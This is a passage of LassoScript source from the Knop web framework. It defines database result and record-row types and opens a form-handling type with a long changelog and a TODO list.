and to \"stop timer\"\n\t/define_tag;\n\t\n\tdefine_tag: 'action_statement';\t\treturn: (self -> 'action_statement');\t/define_tag;\n\tdefine_tag: 'found_count';\t\t\treturn: (self -> 'found_count');\t\t/define_tag;\n\tdefine_tag: 'shown_count';\t\t\treturn: (self -> 'shown_count');\t\t/define_tag;\n\tdefine_tag: 'shown_first';\t\t\treturn: (self -> 'shown_first');\t\t/define_tag;\n\tdefine_tag: 'shown_last';\t\t\treturn: (self -> 'shown_last');\t\t\t/define_tag;\n\tdefine_tag: 'maxrecords_value';\t\treturn: (self -> 'maxrecords_value');\t/define_tag;\n\tdefine_tag: 'skiprecords_value';\treturn: (self -> 'skiprecords_value');\t/define_tag;\n\tdefine_tag: 'keyfield';\t\t\t\treturn: (self -> 'keyfield');\t\t\t/define_tag;\n\tdefine_tag: 'keyvalue';\t\t\t\treturn: (self -> 'keyvalue');\t\t\t/define_tag;\n\tdefine_tag: 'lockfield';\t\t\treturn: (self -> 'lockfield');\t\t\t/define_tag;\n\tdefine_tag: 'lockvalue';\t\t\treturn: (self -> 'lockvalue');\t\t\t/define_tag;\n\tdefine_tag: 'lockvalue_encrypted';\treturn: (self -> 'lockvalue_encrypted'); /define_tag;\n\tdefine_tag: 'querytime';\t\t\treturn: (self -> 'querytime');\t\t\t/define_tag;\n\tdefine_tag: 'inlinename';\t\t\treturn: (self -> 'inlinename');\t\t\t/define_tag;\n\tdefine_tag: 'searchparams';\t\t\treturn: (self -> 'searchparams');\t\t/define_tag;\n\tdefine_tag: 'resultset_count',\n\t\t-optional='inlinename';\n\t\t!local_defined('inlinename') ? local('inlinename'=(self -> 'inlinename'));\n\t\treturn((self -> 'resultset_count_map') -> find(#inlinename));\n\t/define_tag;\n\n\tdefine_tag('recorddata', -description='A map containing all fields, only available for single record results',\n\t\t-optional='recordindex', -copy);\n\t\t!local_defined('recordindex') ? local('recordindex'=(self -> 'current_record'));\n\t\t#recordindex < 1 ? #recordindex = 1;\n\t\tif(#recordindex == 1);\n\t\t\t// return default (i.e. first) record\n\t\t\treturn(self -> 'recorddata');\n\t\telse;\n\t\t\tlocal('recorddata'=map);\n\t\t\titerate(self -> field_names, local('field_name'));\n\t\t\t\t#recorddata -> insert(#field_name  =  (self -> 'records_array' -> get(#recordindex) \n\t\t\t\t\t-> get(self -> 'field_names_map' -> find(#field_name))));\n\t\t\t/iterate;\n\t\t\treturn(#recorddata);\n\t\t/if;\n\t/define_tag;\n\n\tdefine_tag: 'records_array';\t\treturn: (self -> 'records_array');\t\t/define_tag;\n\t\n\tdefine_tag('field_names', -description='Returns an array of the field names from the last database query. If no database query has been performed, a \"-show\" request is performed. \\n\\\n\t\t\tParameters: \\n\\\n\t\t\t-table (optional) Return the field names for the specified table\\n\\\n\t\t\t-types (optional flag) If specified, returns a pair array with fieldname and corresponding Lasso data type',\n\t\t-optional='table',\n\t\t-optional='types');\n\t\t!local_defined('table') ? local('table'=(self -> 'table'));\n\t\tlocal('field_names'=(self -> 'field_names'));\n\t\tif(#field_names -> size == 0 || (local_defined('types') && #types != false));\n\t\t\t#field_names=array;\n\t\t\tif(local_defined('types') && #types != false);\n\t\t\t\tlocal('types_mapping'=map('text'='string', 'number'='decimal', 'date/time'='date'));\n\t\t\t/if;\n\t\t\tinline(self->'db_connect', -table=#table, -show);\n\t\t\t\tif(local_defined('types') && #types != false);\n\t\t\t\t\tloop(field_name(-count));\n\t\t\t\t\t\t#field_names -> insert(field_name(loop_count) = #types_mapping->find(field_name(loop_count, -type)));\n\t\t\t\t\t/loop;\n\t\t\t\telse;\n\t\t\t\t\t#field_names=field_names;\n\t\t\t\t/if;\n\t\t\t/inline;\n\t\t/if;\n\t\treturn(@#field_names);\n\t/define_tag;\n\t\n\tdefine_tag('table_names', -description='Returns an array with all table names for the database');\n\t\tlocal('table_names'=array);\n\t\tinline(self -> 'db_connect');\n\t\t\tDatabase_TableNames(self -> 'database');\n\t\t\t\t#table_names -> insert(Database_TableNameItem);\n\t\t\t/Database_TableNames;\n\t\t/inline;\n\t\treturn(@#table_names);\n\t/define_tag;\n\t\n\tdefine_tag: 'error_data', -description='Returns more info for those errors that provide such';\n\t\tif: (self -> 'errors_error_data') >> (self -> error_code);\n\t\t\treturn: (self -> 'error_data');\n\t\telse;\n\t\t\treturn: map;\n\t\t/if;\n\t/define_tag;\n\n\tdefine_tag('size');\n\t\treturn(self -> 'shown_count');\n\t/define_tag;\n\n\tdefine_tag('get', -required='index');\n\t\treturn(knop_databaserow(\n\t\t\t-record_array=(self -> 'records_array' -> get(#index)), \n\t\t\t-field_names=(self -> 'field_names')));\n\t/define_tag;\n\n\tdefine_tag('records', -description='Returns all found records as a knop_databaserows object',\n\t\t-optional='inlinename');\n\t\t!local_defined('inlinename') ? local('inlinename'=(self -> 'inlinename'));\n\t\tif((self -> 'databaserows_map') !>> #inlinename);\n\t\t\t// create knop_databaserows on demand\n\t\t\t(self -> 'databaserows_map') -> insert(#inlinename = knop_databaserows(\n\t\t\t\t\t-records_array=(self -> 'records_array'), \n\t\t\t\t\t-field_names=(self -> 'field_names'))\n\t\t\t\t);\n\t\t/if;\n\t\treturn(@((self -> 'databaserows_map') -> find(#inlinename)));\n\t/define_tag;\n\n\tdefine_tag('field', -description='A shortcut to return a specific field from a single record result',\n\t\t-required='fieldname',\n\t\t-optional='recordindex',\n\t\t-optional='index');\n\t\t!local_defined('recordindex') ? local('recordindex'=(self -> 'current_record'));\n\t\t#recordindex < 1 ? #recordindex = 1;\n\t\t!local_defined('index') ? local('index'=1);\n\t\tif(#recordindex == 1 && #index == 1);\n\t\t\t// return first field occurrence from the default (i.e. first) record\n\t\t\treturn((self -> 'recorddata') -> find(#fieldname));\n\t\telse(self -> 'field_names_map' >> #fieldname \n\t\t\t&& #recordindex >= 1 \n\t\t\t&& #recordindex <= (self -> 'records_array') -> size);\n\t\t\t// return specific record\n\t\t\tif(#index==1);\n\t\t\t\t// return first ocurrence of field name through the index map - this is faster\n\t\t\t\treturn(self -> 'records_array' -> get(#recordindex) -> get(self -> 'field_names_map' -> find(#fieldname)));\n\t\t\telse;\n\t\t\t\t// return another occurrence of the field - this is slightly slower\n\t\t\t\tlocal('indexmatches'=(self -> 'field_names') -> findposition(#fieldname));\n\t\t\t\tif(#index >= 1 && #index <= #indexmatches -> size);\n\t\t\t\t\treturn(self -> 'records_array' -> get(#recordindex) -> get(#indexmatches -> get(#index)));\n\t\t\t\t/if;\n\t\t\t/if;\n\t\t/if;\n\t/define_tag;\n\t\n\tdefine_tag('next', -description='Increments the record pointer, returns true if there are more records to show, false otherwise.\\n\\\n\t\t\tUseful as an alternative to a regular records loop:\\n\\\n\t\t\t\\t$database -> select;\\n\\\n\t\t\t\\twhile: $database -> next;\\n\\\n\t\t\t\\t\\t$database -> field(\\'name\\');\\'<br>\\';\\n\\\n\t\t\t\\t/while;');\n\t\tif((self -> 'current_record') < (self -> 'shown_count'));\n\t\t\t(self -> 'current_record') += 1;\n\t\t\treturn(true);\n\t\telse;\n\t\t\t// reset record pointer\n\t\t\t(self -> 'current_record') = 0;\n\t\t\treturn(false);\n\t\t/if;\n\t/define_tag;\n\n\tdefine_tag('nextrecord', -description='Deprecated synonym for ->next');\n\t\t(self -> 'debug_trace') -> insert('*** DEPRECATION WARNING *** ' + tag_name + ' is deprecated, use ->next instead ');\n\t\treturn(self -> next);\n\t/define_tag;\n\n\tdefine_tag: 'trace', \n\t\t-optional='html',\n\t\t-optional='xhtml';\n\n\t\tlocal: 'endslash' = ((self -> (xhtml: params)) ? ' /' | '');\n\n\t\tlocal: 'eol'=(local_defined: 'html') || #endslash -> size ? '<br' + #endslash + '>\\n' | '\\n';\n\n\t\treturn: #eol + 'Debug trace for database $' + (self -> varname) + ' (' (self -> 'database') '.' (self -> 'table') + ')' +  #eol \n\t\t\t+ (self -> 'debug_trace') -> (join: #eol) + #eol;\n\n\t/define_tag;\n\n\n\t// =========== Internal member tags ===============\n\t\n\tdefine_tag: 'reset', -description='Internal, reset all search result vars';\n\t\t// reset all search result vars\n\t\t// searchresultvars\n\t\t(self -> 'action_statement') = null;\n\t\t(self -> 'found_count') = null;\n\t\t(self -> 'shown_first') = null;\n\t\t(self -> 'shown_last') = null;\n\t\t(self -> 'shown_count') = null;\n\t\t(self -> 'field_names') = null;\n\t\t(self -> 'records_array') = null;\n\t\t(self -> 'maxrecords_value') = null;\n\t\t(self -> 'skiprecords_value') = null;\n\t\t\n\t\t(self -> 'inlinename')=string;\n\t\t(self -> 'keyvalue')=null;\n\t\t(self -> 'lockvalue')=null;\n\t\t(self -> 'lockvalue_encrypted')=null;\n\t\t(self -> 'timestampfield')=string;\n\t\t(self -> 'timestampvalue')=string;\n\t\t(self -> 'searchparams')=string;\n\t\t(self -> 'querytime')=integer;\n\t\t(self -> 'recorddata')=map;\n\t\t(self -> 'message')=string;\n\t\t(self -> 'current_record')=0;\n\t\t(self -> 'field_names_map')=map;\n\n\t\t(self -> 'error_code')=0;\n\t\t(self -> 'error_msg')=string;\n\t/define_tag;\n\n\tdefine_tag: 'capturesearchvars', -description='Internal';\n\t\t// internal member tag\n\n\t\t// capture various result variables like found_count, shown_first, shown_last, shown_count\n\t\t// searchresultvars\n\t\t(self -> 'action_statement') = action_statement;\n\t\t(self -> 'found_count') = found_count;\n\t\t(self -> 'shown_first') = shown_first;\n\t\t(self -> 'shown_last') = shown_last;\n\t\t(self -> 'shown_count') = shown_count;\n\t\t(self -> 'field_names') = field_names;\n\t\t(self -> 'records_array') = records_array;\n\t\n\t\t!((self -> 'maxrecords_value') > 0) ? (self -> 'maxrecords_value') = maxrecords_value;\n\t\t!((self -> 'skiprecords_value') > 0) ? (self -> 'skiprecords_value') = skiprecords_value;\n\n\t\tlasso_tagexists('resultset_count') ? (self -> 'resultset_count_map') -> insert((self -> 'inlinename')=resultset_count);\n\t\titerate(field_names, local('field_name'));\n\t\t\t(self -> 'field_names_map') !>> #field_name \n\t\t\t\t? (self -> 'field_names_map') -> insert(#field_name=loop_count);\n\t\t/iterate;\n\t\t\n\t\t(self -> 'error_code') = error_code;\n\t\terror_code && error_msg -> size ? (self -> 'error_msg') = error_msg;\n\t\t\n\n\t\t// handle queries that use LIMIT\n\t\tif: !(self -> 'isfilemaker') && (string_findregexp: action_statement, -find= '\\\\sLIMIT\\\\s', -ignorecase) -> size;\n\t\t\t(self -> 'debug_trace') -> (insert: tag_name + ': old found_count, shown_first and shown_last ' + (self -> 'found_count') + ' '+ (self -> 'shown_first') + ' '+ (self -> 'shown_last'));\n\t\t\t(self -> 'found_count') = knop_foundrows;\n\t\t\t// adjust shown_first and shown_last\n\t\t\t(self -> 'shown_first') = ((self -> 'found_count') ? (self -> 'skiprecords_value') + 1 | 0);\n\t\t\t(self -> 'shown_last') = integer(math_min(((self -> 'skiprecords_value') + (self -> 'maxrecords_value')), (self -> 'found_count')));\n\t\t\t(self -> 'debug_trace') -> (insert: tag_name + ': new found_count, shown_first and shown_last ' + (self -> 'found_count') + ' '+ (self -> 'shown_first') + ' '+ (self -> 'shown_last'));\n\t\t/if;\n\n\t\t// capture some variables for single record results\n\t\tif: found_count <= 1  // -update gives found_count 0 but still has one record result\n\t\t\t&& error_code == 0;\n\t\t\tif((self -> 'keyfield') != '' && string(field(self -> 'keyfield')) -> size);\n\t\t\t\t(self -> 'keyvalue')=field(self -> 'keyfield');\n\t\t\telse: (self -> 'keyfield') != '' && (self -> 'keyvalue') == '' && !(self -> 'isfilemaker');\n\t\t\t\t(self -> 'keyvalue')=keyfield_value;\n\t\t\t/if;\n\t\t\tif: lasso_currentaction == 'add' || lasso_currentaction == 'update';\n\t\t\t\t(self -> 'affectedrecord_keyvalue') = (self -> 'keyvalue');\n\t\t\t/if;\n\t\t\tif: (self -> 'lockfield') != ''; \n\t\t\t\t(self -> 'lockvalue')=(field: (self -> 'lockfield'));\n\t\t\t\t(self -> 'lockvalue_encrypted')=(encrypt_blowfish: (field: (self -> 'lockfield')), -seed=(self -> 'lock_seed'));\n\t\t\t/if;\n\t\t/if;\n\t\tif: error_code == 0;\n\t\t\t// populate recorddata with field values from the first found record\n\t\t\titerate: field_names, local: 'field_name';\n\t\t\t\t(self -> 'recorddata') !>> #field_name \n\t\t\t\t\t? (self -> 'recorddata') -> (insert: #field_name  =  (field: #field_name) );\n\t\t\t/iterate;\n\t\telse;\n\t\t\t(self -> 'debug_trace') -> (insert: tag_name + ': ' + error_msg);\n\t\t/if;\n\t\t(self -> 'debug_trace') -> (insert: tag_name + ': found_count ' + (self -> 'found_count') + ' ' + (self -> 'keyfield') + ' '+ (field: (self -> 'keyfield')) + ' keyfield_value ' + keyfield_value + ' keyvalue ' + (self -> 'keyvalue') + ' fieldcount ' + (field_name: -count));\n\n\t/define_tag;\n\n/define_type;\n\n\ndefine_type('databaserows',\n\t-namespace='knop_');\n\tlocal('version'='2009-01-08',\n\t\t'description'='Custom type to return all record rows from knop_database. Used as output for knop_database->records. ');\n/*\n\nCHANGE NOTES\n2009-01-08\tJS\t->_unknowntag: Added -index parameter\n2008-11-24\tJS\tCreated the type\n\n\n*/\n\n\tlocal('records_array'=array,\n\t\t'field_names'=array,\n\t\t'field_names_map'=map,\n\t\t'current_record'=integer);\n\t\t\n\tdefine_tag('oncreate', -description='Create a record rows object. \\n\\\n\t\t\tParameters:\\n\\\n\t\t\t-records_array (array) Array of arrays with field values for all fields for each record of all found records\n\t\t\t-field_names (array) Array with all the field names',\n\t\t-required='records_array',\n\t\t-required='field_names');\n\t\tself -> 'records_array'=#records_array;\n\t\tself -> 'field_names'=#field_names;\n\t\t// store indexes to first occurrence of each field name for faster access\n\t\titerate(#field_names, local('field_name'));\n\t\t\t(self -> 'field_names_map') !>> #field_name \n\t\t\t\t? (self -> 'field_names_map') -> insert(#field_name=loop_count);\n\t\t/iterate;\n\t/define_tag;\n\t\n\tdefine_tag('_unknowntag', -description='Shortcut to field',\n\t\t-optional='index');\n\t\t!local_defined('index') ? local('index'=1);\n\t\tif(self -> 'field_names' >> tag_name);\n\t\t\treturn(self -> field(tag_name(-index=#index)));\n\t\telse;\n\t\t\t//fail: -9948, self -> type + '->' + tag_name + ' not known.';\n\t\t/if;\n\t/define_tag;\n\n\tdefine_tag('onconvert', -description='Output the current record as a plain array of field values');\n\t\t!local_defined('recordindex') ? local('recordindex'=(self -> 'current_record'));\n\t\t#recordindex < 1 ? #recordindex = 1;\n\t\tif(#recordindex >= 1 \n\t\t\t&& #recordindex <= (self -> 'records_array' -> size));\n\t\t\treturn(self -> 'records_array' -> get(#recordindex));\n\t\t/if;\n\t/define_tag;\n\n\tdefine_tag('size');\n\t\treturn(self -> 'records_array' -> size);\n\t/define_tag;\n\n\tdefine_tag('get', -required='index');\n\t\treturn(knop_databaserow(-record_array=(self -> 'records_array' -> get(#index)), -field_names=(self -> 'field_names')));\n\t/define_tag;\n\n\tdefine_tag('field', -description='Return an individual field value',\n\t\t-required='fieldname',\n\t\t-optional='recordindex',\n\t\t-optional='index');\n\t\t!local_defined('recordindex') ? local('recordindex'=(self -> 'current_record'));\n\t\t#recordindex < 1 ? #recordindex = 1;\n\t\t!local_defined('index') ? local('index'=1);\n\t\tif(self -> 'field_names_map' >> #fieldname \n\t\t\t&& #recordindex >= 1 \n\t\t\t&& #recordindex <= (self -> 'records_array') -> size);\n\t\t\t// return specific record\n\t\t\tif(#index==1);\n\t\t\t\t// return first ocurrence of field name through the index map - this is faster\n\t\t\t\treturn(self -> 'records_array' -> get(#recordindex) -> get(self -> 'field_names_map' -> find(#fieldname)));\n\t\t\telse;\n\t\t\t\t// return another occurrence of the field - this is slightly slower\n\t\t\t\tlocal('indexmatches'=(self -> 'field_names') -> findposition(#fieldname));\n\t\t\t\tif(#index >= 1 && #index <= #indexmatches -> size);\n\t\t\t\t\treturn(self -> 'records_array' -> get(#recordindex) -> get(#indexmatches -> get(#index)));\n\t\t\t\t/if;\n\t\t\t/if;\n\t\t/if;\n\t/define_tag;\n\n\tdefine_tag('summary_header', -description='Returns true if the specified field name has changed since the previous record, or if we are at the first record',\n\t\t-required='fieldname');\n\t\tlocal('recordindex'=(self -> 'current_record'));\n\t\t#recordindex < 1 ? #recordindex = 1;\n\t\tif(#recordindex == 1 // first record\n\t\t\t|| self -> field(#fieldname) != self -> field(#fieldname, -recordindex=(#recordindex - 1)) ); // different than previous record (look behind)\n\t\t\treturn(true);\n\t\telse;\n\t\t\treturn(false);\n\t\t/if;\n\t/define_tag;\n\n\tdefine_tag('summary_footer', -description='Returns true if the specified field name will change in the following record, or if we are at the last record',\n\t\t-required='fieldname');\n\t\tlocal('recordindex'=(self -> 'current_record'));\n\t\t#recordindex < 1 ? #recordindex = 1;\n\t\tif(#recordindex == (self -> 'records_array') -> size // last record\n\t\t\t|| self -> field(#fieldname) != self -> field(#fieldname, -recordindex=(#recordindex + 1)) ); // different than next record (look ahead)\n\t\t\treturn(true);\n\t\telse;\n\t\t\treturn(false);\n\t\t/if;\n\t/define_tag;\n\n\n\tdefine_tag('next', -description='Increments the record pointer, returns true if there are more records to show, false otherwise.');\n\t\tif((self -> 'current_record') < (self -> 'records_array') -> size);\n\t\t\t(self -> 'current_record') += 1;\n\t\t\treturn(true);\n\t\telse;\n\t\t\t// reset record pointer\n\t\t\t(self -> 'current_record') = 0;\n\t\t\treturn(false);\n\t\t/if;\n\t/define_tag;\n/define_type;\n\n\n\ndefine_type('databaserow',\n\t-namespace='knop_',\n\t//-prototype, // prototype prevents the namespace from unloading without restart\n\t);\n\tlocal: 'version'='2009-01-08',\n\t\t'description'='Custom type to return individual record rows from knop_database. Used as output for knop_database->get. ';\n/*\n\nCHANGE NOTES\n2009-01-08\tJS\t->_unknowntag: Added -index parameter\n2008-11-24\tJS\t->field: Added -index parameter to be able to access any occurrence of the same field name\n2008-05-29\tJS\tRemoved -prototype since it prevents unloading the namespace. It is recommended to turn it on for best performance\n2008-05-27\tJS\tCreated the type\n\n\n*/\n\tlocal('record_array'=array,\n\t\t'field_names'=array);\n\t\t\n\tdefine_tag('oncreate', -description='Create a record row object. \\n\\\n\t\t\tParameters:\\n\\\n\t\t\t-record_array (array) Array with field values for all fields for the record\n\t\t\t-field_names (array) Array with all the field names, should be same size as -record_array',\n\t\t-required='record_array',\n\t\t-required='field_names');\n\t\tself -> 'record_array'=#record_array;\n\t\tself -> 'field_names'=#field_names;\n\t/define_tag;\n\t\n\tdefine_tag('_unknowntag', -description='Shortcut to field',\n\t\t-optional='index');\n\t\t!local_defined('index') ? local('index'=1);\n\t\tif(self -> 'field_names' >> tag_name);\n\t\t\treturn(self -> field(tag_name, -index=#index));\n\t\telse;\n\t\t\t//fail: -9948, self -> type + '->' + tag_name + ' not known.';\n\t\t/if;\n\t/define_tag;\n\n\tdefine_tag('onconvert', -description='Output the record as a plain array of field values');\n\t\treturn(self -> 'record_array');\n\t/define_tag;\n\n\n\tdefine_tag('field', -description='Return an individual field value',\n\t\t-required='fieldname',\n\t\t-optional='index');\n\t\t!local_defined('index') ? local('index'=1);\n\t\tif(self -> 'field_names' >> #fieldname);\n\t\t\t// return any occurrence of the field\n\t\t\tlocal('indexmatches'=(self -> 'field_names') -> findposition(#fieldname));\n\t\t\tif(#index >= 1 && #index <= #indexmatches -> size);\n\t\t\t\treturn((self -> 'record_array') -> get(#indexmatches -> get(#index)));\n\t\t\t/if;\n\t\t/if;\n\t/define_tag;\n\n\n/define_type;\n?>\n[\n//------------------------------------------------------------------\n//    End knop_database\n//------------------------------------------------------------------\n\n//##################################################################\n\n][\n//------------------------------------------------------------------\n//    Begin knop_form\n//------------------------------------------------------------------\n\n]<?LassoScript\n\ndefine_type: 'form', \n\t'knop_base',\n\t-namespace='knop_';\n//\t-prototype; \n\n\tlocal: 'version'='2011-02-28',\n\t\t'description'='Custom type to handle forms.';\n\n/*\n\nCHANGE NOTES\n2011-02-28\tJS\t->addfield: Added -template to specify field specific template \n2010-11-22\tSP\t->init: Correction of -lockvalue handling after L9 syntax adjustment\n2010-07-18\tSP\tAdded support for series for -options\n2010-06-10\tJS\t->renderform: avoid adding -upload parameters to post forms since it conflicts with file uploads (found by Steve Piercy)\n2010-04-21\tJS\t->renderhtml:  removed encode_html for label\n2010-03-06\tSP\tChanged default behavior of ->updatefields with -sql to add backticks between the table and column names.  Now JOINs may be used.\n2010-03-06\tSP\tAdded ->updatefields with -removedotbackticks for backward compatibility for fields that contain periods.  If you use periods in a fieldname then you cannot use a JOIN in Knop.\n2009-11-11\tJS\tAdded class and id to optiongroup div that surrounds for checkbox and radio\n2009-11-11\tJS\tCorrected id for checkbox and radio option labels\n2009-10-02\tJS\tAdded id for labels, auto generated from the field's id with _label appended\n2009-09-16\tJS\tSyntax adjustments for Lasso 9\n2009-09-04\tJS\tChanged $__html_reply__ to content_body\n2009-09-04\tJS\t->renderhtml: corrected typ for autoparams\n2009-07-23\tJS\t->renderform: removed encode_html that somehow has reappeared for label. \n2009-07-10\tSP\tadded -maxlength option for text fields\n2009-06-26\tJS\t->oncreate: added deprecation warning for -action\n2009-06-22\tJS\t->addfield: corrected -options check to look for set instead of series (besides array)\n2009-04-16\tJS\t->loadfileds can now load field values from -params also inside an inline\n2009-03-20\tJS\tAdded  <![CDATA[ ... ]]>  around injected scripts for better xhtml compliance\n2009-01-08\tJS\t->getvalue and _unknowntag: added -index parameter to be able to get value for a specific field instance when there are multiple fields with the same name \n2009-01-08\tJS\t->loadfields: implemented support for multiple fields with the same name when loading field values from form submission where the number of same name fields matches\n2009-01-07\tJS\t->setvalue: added -index parameter to be able to set value for a specific field instance when there are multiple fields with the same name \n2008-12-08\tJS\t->renderform: Removed the onclick handlers for checkbox and radio since Safari now supports clicking the label text as click for the checkbox/radio control. \n2008-12-05\tJS\t->renderform: the fieldset and legend field types will now use id and class on the fieldset tag if specified\n2008-12-03\tJS\t->renderform: fields of type fieldset now uses value as legend (just as field type legend already did) instead of always using an empty legend\n2008-09-24\tJS\t->updatefields: Added protection against backtick sql injection in MySQL object names\n2008-09-17\tJS\t->renderform and ->renderhtml: -from and -to allows negative numbers to count from end of form instead\n2008-09-13\tJS\tAdded ->getlabel to return the display name for a field. \n2008-09-13\tJS\t->addfield and ->validate: Implemented -validate to specify a compound expression to validate the field input. \n2008-09-13\tJS\t->addfield and ->loadfields: Implemented -filter to specify a compound expression to filter the field input. \n2008-09-11\tJS\t->updatefields: fixed exclusion of special field types html, legend and fieldset. \n2008-09-11\tJS\t->renderform: Fixed missing value for password fields\n2008-07-02\tJS\t->renderform: Cleaned up the automatic adding of javascript code so it's not added if not needed. Also moved all scripts to the end of the page. More work with with the javascripts is needed.\n2008-06-03\tJS\t->renderform: corrected missing closing </fieldset>\n2008-05-15\tJS\t->renderform and ->renderhtml: adjusted the behavior for nested fieldsets\n2008-05-13\tJS\tImplemented -legend for ->renderhtml, to make it consistent with the new legend field type\n2008-05-13\tJS\tImplemented special field types html, fieldset and legend. Use -value to display data for these fields. A legend field also creates a fieldset (closes any previously open fieldsets). Use fieldset with -value=false to close a fieldset without opening a new one. \n2008-05-06\tJS\tAdded unknowntag as shortcut to getvalue\n2008-01-30\tJS\tRemoved duplicate endscript entries for if(dirty) {makedirty()};\n2007-12-13\tJS\tCorrected ->addfield: -dbfield so empty dbfields are properly ignored by ->updatefields. \n2007-12-11\tJS\tMoved error_msg to knop_base (special version of error_code stays here) \n2007-12-11\tJS\tAdded documentation as -description to most member tags, to be used by the new ->help tag\n2007-12-11\tJS\tMoved ->help to knop_base\n2007-11-13\tJS\tAdded -buttontemplate to be able to specify separate template for buttons, defaults to no <br>, but if template has been specified that will be used instead (for backwards compatibility)\n2007-11-12\tJS\t->process delete now works also when not using record locking (not specifying -user)\n2007-11-01\tJS\t->renderform: added support for -hint for textarea fields.\n2007-09-27\tJS\t->renderhtml: multiple values (array) for radio, checkbox and select are now rendered properly with either \",\" or <br> depending on the presence of -linebreak, and with the display text instead of the actual option value\n2007-09-27\tJS\t->renderform: improved handling of multiple values for checkbox, radio and select\n2007-09-21\tJS\t->addfield: flag parameters now accept false as value\n2007-09-06\tJS\t->oncreate: changed name of -action to -formaction to make it more clear what it is. -action is still supported but deprecated.\n2007-09-06\tJS\t->renderform: Corrected the exception for -session... (duh)\n2007-08-08\tJS\t->renderform: Added exception for -session\n2007-06-18\tJS\tAdded tag timer to most member tags\n2007-06-13\tJS\tadded inheritance from knop_base\n2007-06-12\tJC\tbugfixed -xhtml form rendering when called by quicksearch\n2007-06-11\tJC\tadded handling of xhtml output\n2007-04-19\tJS\t->loadfields: fixed -params that was broken when adding -database\n2007-04-19\tJS\t->renderform: removed invalid wrap=\"soft\" from textarea\n2007-04-12\tJS\t->process: made -user optional (only needed when using record locking)\n2007-04-12\tJS ->loadfields can now take a -database parameter, either as a flag (no value) where the database object connected to the form will be used, or by specifying a database object as value. \n2007-04-03\tJS\tChanged namespace from mt_ to knop_\n2007-03-01\tJS\t->renderform fixed unsavedwarning on page load by moving checkdirty() to afterscript\n2007-03-01\tJS\t->formmode and ->init changed so it preserves the right mode after a failed add\n2007-02-27\tJS\t->renderform: added <div class=\"inputgroup\"> around checkboxes and radios for css formating\n2007-02-26\tJS\t->oncreate: added -actionpath to specify the framework action path for the form instead of manually adding the -action hidden field\n2007-02-24\tJS\tCorrected entersubmitblock behavior by adding onfocus handler on form and starting with submitBlock=false\n2007-02-23\tJS\tRemoved encode_html from form field labels\n2007-02-22\tJS\t->setformat: Added -legend\n2007-02-07\tJS\tAdded ->copyfield to copy a form field to a new name, with the same properties. \n2007-02-07\tJS\t->errors now returns empty array if validate has not been called, instead of performing validation\n2007-02-05\tJS\t->getbutton can now look for also button names that are not one of the built-in ones (for example button_apply)\n2007-02-05\tJS The -keyvalue parameter can be given another name by specifying -keyparamname in oncreate\n2007-02-02\tJS\tAdded ->lockvalue_decrypted\n2007-02-02\tJS\t->addfield: -value is now stored as reference\n2007-02-02\tJS\terror_code now returns an error for when the form contains validation errors\n2007-02-02\tJS\tImproved reporting of Lasso error messaged in error_msg\n2007-02-02\tJS \tAdded real error codes\n2007-01-31\tJS\t->rederform action_params now also exclude \"-\" params that appear in the form action\n2007-01-29\tJS\t->renderform: The first field with input error will get focus when loading page\n2007-01-29\tJS\tAdded -focus to ->addfield to give default field focus when loading page with form\n2007-01-29\tJS\tAdded -disabled to ->addfield, and handling of it in ->renderform\n2007-01-29\tJS\tAdded -noautoparams to ->oncreate to disable the automatic passing of action_params that begin with \"-\"\n2007-01-29\tJS\t->renderform now renders label also for submit, reset to format properly with css\n2007-01-26\tJS\tAdded support for Safari specific <input type=\"search\">\n2007-01-26\tJS\t->renderform action_params that begin with \"-\" now exclude params that exist in the form. Minor corrections to the behavior. \n2007-01-25\tJS\tAdded -nowarning to ->oncreate to disable unsaved warnings for the entire form\n2007-01-25\tJS\tAdded -required to ->oncreate (and a few more from ->setformat)\n2007-01-23\tJS\tAutogenerates id for the form itself\n2007-01-23\tJS\tAdded ->getbutton to return the button that was clicked when submitting a form (cancel, add, save, delete)\n2007-01-23\tJS\tAdded auto conversion of options left hand pair member to string, to make comparsions work reliably. Integer zeros don't compare nicely to strings. \n2007-01-23\tJS\tAdded support for submit-on-enter prevention: specify -entersubmitblock at oncreate\n2007-01-19\tJS\tAddes renderform: -legend to be able to group form fields at render time\n2007-01-19\tJS\tadded support for -optgroup in -options for select. Also works for radio and checkbox. Specify empty -optgroup to close optgroup in select without starting a new, or to add extra linebreak between checkboxes/radio buttons. \n2007-01-19\tJS\tadded -template for oncreate\n2007-01-19\tJS\tadded optional fieldset and legend to form, legend can be specified as -legend at oncreate. if -legend is specified, the form will be wrapped in a fieldset. \n2007-01-19\tJS\tmethod now defaults to post\n2007-01-19\tJS\tCorrected line separator for FileMaker checkboxes and added the same handling also for radio\n2007-01-18\tJS\trenderform: any action_params that begin with \"-\" (except -keyvalue and -lockvalue) are added as form parameters\n2007-01-18\tJS\trenderform: checkboxes and multiselects now show checked and selected properly when loading values from database\n2007-01-18\tJS\tupdatefields: added support for multiple values for one fieldname, like checkboxes (multiple fields in the update pair array, -sql generates comma separated values)\n2007-01-17\tJS\treset button now makes form undirty\n2007-01-17\tJS\taddfield: -confirmmessage can now be specified for any submit or reset button\n2007-01-17\tJS\tadded addfield: -nowarning to avoid unsaved warning when the field is changed\n2007-01-17\tJS\tchanged default class name for unsaved marker from dirty to unsaved\n2007-01-17\tJS\tchanged name of -dirtymarker and -dirtymarkerclass to unsavedmarker and -unsavedmarkerclass for userfriendlyness\n2007-01-17\tJS\tadded setformat: -unsavedwarning to dynamically set the javascript form dirty warning message\n2007-01-17\tJS\trenderform: -field changed to renderform: -name for consistency\n2007-01-16\tJS\trenderform: -field with wrong field name does not output anything, instead of the entire form\n2007-01-16\tJS\tfixed onbeforeunload in javascript form dirty handler\n\nTODO:\n->addfield: Add -format to manipulate the field value before it is displayed by ->renderform and ->renderhtml, much like -filter but only for display and without affecting input. \n->addfield: Add -fieldgroup to be able to group related fields together, useful for ->updatefields to return just fields that belong to a specific db table, or ->renderform as another way to render a form selectively\n->renderform needs a better way to display errors inline together with the fields\nMake _unknowntag also work as shortcut to setvalue if a value is specified\nAdd a new special field type to the form object, let's say \"data\". That field type will not interact with forms and will never be touched by loadfields, but it will populate ->updatefields.\nAdd -> searchfields, which will return a fulltext enabled pair array better suited for searchs than ->updatefields is. -fulltext needs to be specified per field. \nReview and clean up the javascripts inserted automatically by knop_form - partially done\nOption to let textarea grow automatically depending on the amount of text in it.  \nUse http://bassistance.de/jquery-plugins/jquery-plugin-validation/ instead of client side validation\nPossibly add support for the same validation expressions as the jquery validation plugin uses, so server side a nd client side validation can be specified at once. \nAdd -path as parameter for oncreate so the form action can be set with less confusion...  In that case -formaction will be 